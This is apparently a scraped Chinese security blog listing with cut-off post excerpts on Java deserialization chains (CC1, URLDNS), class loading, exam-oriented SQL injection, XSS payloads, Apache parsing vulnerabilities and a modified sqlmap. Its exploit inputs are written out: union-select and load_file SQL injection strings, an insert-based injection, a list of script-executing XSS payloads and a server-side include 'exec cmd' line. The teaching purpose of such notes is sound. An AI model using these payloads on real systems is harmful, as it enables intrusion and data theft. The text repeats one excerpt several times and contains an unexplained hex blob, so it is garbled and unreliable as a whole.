1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
该篇讲的是CC1中的一条链,也是原作者最开始用的一条链,前面一篇不过是之后的变种,也就是说这个才是原来那条最开始流行的CC1链。
2.代码分析2.1.执行类分析(这部分和上一节一样)
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTran ...
1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
该篇讲的是CC1中的一条链,也是原作者最开始用的一条链,前面一篇不过是之后的变种,也就是说这个才是原来那条最开始流行的CC1链。
2.代码分析2.1.执行类分析(这部分和上一节一样)
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTran ...
类的动态加载Java类的动态加载机制是其核心特性之一,允许在运行时按需加载类,而非在程序启动时一次性加载所有类。这种机制为模块化开发、热部署和插件系统提供了基础支持。以下从 类加载生命周期、动态加载方式、应用场景和常见问题四个维度详细解析:
一、类加载的生命周期Java类加载遵循 加载(Loading)→ 链接(Linking)→ 初始化(Initialization) 三阶段:
加载通过类加载器(ClassLoader)查找字节码(.class文件),生成对应的Class对象。
链接
验证:检查字节码是否符合JVM规范。
准备:为静态变量分配内存并赋默认值(如int初始化为0)。
解析:将符号引用转换为直接引用。
初始化执行静态代码块(static{})和静态变量赋值。
关键点:类的初始化是惰性的,仅在首次主动使用时触发(如new实例、访问静态字段/方法)。
二、动态加载的实现方式1. 使用 Class.forName()12345// 加载并初始化类(默认触发初始化)Class<?> clazz = Class.forN ...
网络安全
未读1.基础题1.1.SQL注入1.1.1.MG医院患者就诊档案管理系统
通过万能用户进入系统
密码考试时会给出
常出现的注入点
通过order by 判断上条查询语句返回的列数(小于等于条目数是返回正确,大于时返回错误)。
1pid=1'+order+by+14--+
注入(考试时不一定是15个,24,18,11都有可能)
1pid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
通过load_file(‘’)读取本地文件(文件路径题目给出)
其他还可能出现注入点的位置
医生-查看患者档案-编辑
患者-编辑
药品-编辑
检查-编辑
治疗-编辑
1.1.2.文章发布
在插入文章位置存在SQL注入(insert)
公式为: 其中gbg必须和注册的用户名一致才能插入成功
12345123','gbg'),('123',(select/**/database()),'a123',' ...
1.常见payload12345678910<script>alert(/xss/)</script><iframe onload=alert("xss");></iframe><textarea></textarea><script>alert(/xss/)</script><link rel=import href="http://127.0.0.1/1.js"><a href="javascript:alert(`xss`);">点击就送</a><iframe src=javascript:alert('xss');></iframe><form action="javascript:alert(`xss`)"><input type=submit> <iMg/src="x" ...
1.Apache1.1.apache 向上解析漏洞
当apache解析一个无法解析的后缀名,会持续向上解析,直到解析完 整个文件名,或者成功解析文件为止。
例如解析a.php.x1.x2.x3,当无法解析x3时会解析到x2,x2无法解析,再解析x1,知道解析到php成功解析为止。
攻击示例:test.php.abc(其中abc不为任意黑名单也不属于Apacha解析白名单),可以用来绕过php的黑名单限制
1.2.apache 换行解析漏洞(CVE-2017-15715)
在解析xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略
上传方法(绕过黑名单)
当为POST请求时,在文件名后缀上加上一个\x0a,(可通过bp改包实现)
解析方法
访问时也需要加上换行符%0a 例如:http://127.0.0.1:8080/phpinfo.php%0A
1.3.SSI服务端嵌入(服务端包含)
默认扩展名.stm、.shtm、.shtml。
以下为文件内容。
1<!--#exec cmd="id"-->
...
cfe8bc06d84b05197f0bb92ed99dd2e8f3cfc2adecb247a825b8c6fab03394142e43b235ffa4c937ec36eed503b5ddae68d40b8bcbe0033361741cfdb1be09d1cbcb854b92aa9eb84085e9d0530d27c0cedbfb13c91fa7c5cbc8b937c584cac57b6815373060f24597fe7acabc66bed7f8a8519ad7d4efa84736986cee81eb778ee9dda45dc8a8196766ee2728dbb22a997172254c86fcd82c496c1ac421813722b7d1b9099ddd5efa537fcb9e459703f24e4c4abd38da37f92d1ed4e2c8e6f1f8604faef1f60489462b0c7a11fe6932f623ee26e46c5f396739c57f90d64fa03521f78c8fdf1d31ab403775e6d52c7938f5b8428992e7fcc ...
1.简介
该项目主要通过修改SQLMAP源代码对SQLMAP文件读入的request进行解密,和对注入payload后发包时的请求进行加密,以此来对存在请求加密的WEB网站进行SQL注入扫描的目的
项目地址:https://github.com/takakie/SQLMAPENC
2.代码结构
主要是修改了三处代码
第一处 请求参数的解密
原代码,代码路径 lib/core/option.py
1234567for target in parseRequestFile(requestFile): url = target[0] if url not in seen: kb.targets.add(target) if len(kb.targets) > 1: conf.multipleTargets = True seen.add(url)
更改后代码
123456789101112from plugins.requestende.requesthandler imp ...
1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
2.代码分析2.1.执行类分析
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTransformer。
首先我们需要分析一下为什么该来可以用来作为执行类。
在该类中存在一个可传入任意对象执行反射调用方法transform,改方法可传入一个Ob ...
1.简介
在URLDNS这条链中主要是利用HashMap对象反序列化时会调用HashMap对象中Key值对象的hashCode方法,而当我们传入HashMap中Key值是一个URL对象时,则会调用URL对象的hashCode方法,执行该方法时会触发URLStreamHandler对象调用其自身的hashCode方法,其hashCode方法又会调用其自身getHostAddress方法,来解析域名,导致触发DNS解析。
由于该链非常通用,都是JDK自身自带的类,又由于该利用链危害性低,因此该利用链通常用于验证是否存在反序列漏洞。
2.代码分析2.1.入口类HashMap分析
由于HashMap参数的灵活性可以传入两个对象,因此在多数利用链中都会用到该类。
我们知道在JAVA反序列化对象时会自动调用该类的readObject方法,而在HashMap的readObject方法调用了HashMap中的hash方法,而hash方法中又恰好调用了我们可控参数中的key对象的hashcode方法,因此我们可以利用该入口类来实现反序列化漏洞。
HashMap.java
从图中我们可以看到,只要 ...